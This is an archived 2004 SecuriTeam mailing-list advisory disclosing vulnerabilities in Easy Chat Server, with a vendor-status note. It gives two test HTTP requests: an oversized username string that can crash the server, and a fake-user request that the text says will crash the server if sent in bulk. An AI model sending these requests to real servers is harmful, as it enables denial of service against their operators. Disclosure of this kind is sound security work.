[NT] Easy Chat Server Multiple Vulnerabilities

Source: http://www.derkeiler.com/Mailing−Lists/Securiteam/2004−07/0012.html

---

From: SecuriTeam (*support_at_securiteam.com*)
Date: 07/04/04

```
To: list@securiteam.com
Date: 4 Jul 2004 20:03:59 +0200
```

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
− − promotion

The SecuriTeam alerts list − Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

− − − − − − − − −

Easy Chat Server Multiple Vulnerabilities
−−−

The first issue can be tested using the following request:
GET /chat.ghp?username=aaaa[295 of a]aaaa&password=&room=1&sex=0

The second can be tested by:
GET /chat.ghp?username=FakeUser&password=&room=1&sex=0

Which will create a fake user on the system with the provided password.
Naturally, issuing many such requests with bogus (perhaps random)
usernames will eventually cause the server to crash.

Vendor Status:
The vendor has been contacted and a fix will be out in the next version of
the product.

ADDITIONAL INFORMATION

The information has been provided by <mailto:fdonato@autistici.org>
Donato Ferrante.

==========

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com

==========
==========

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.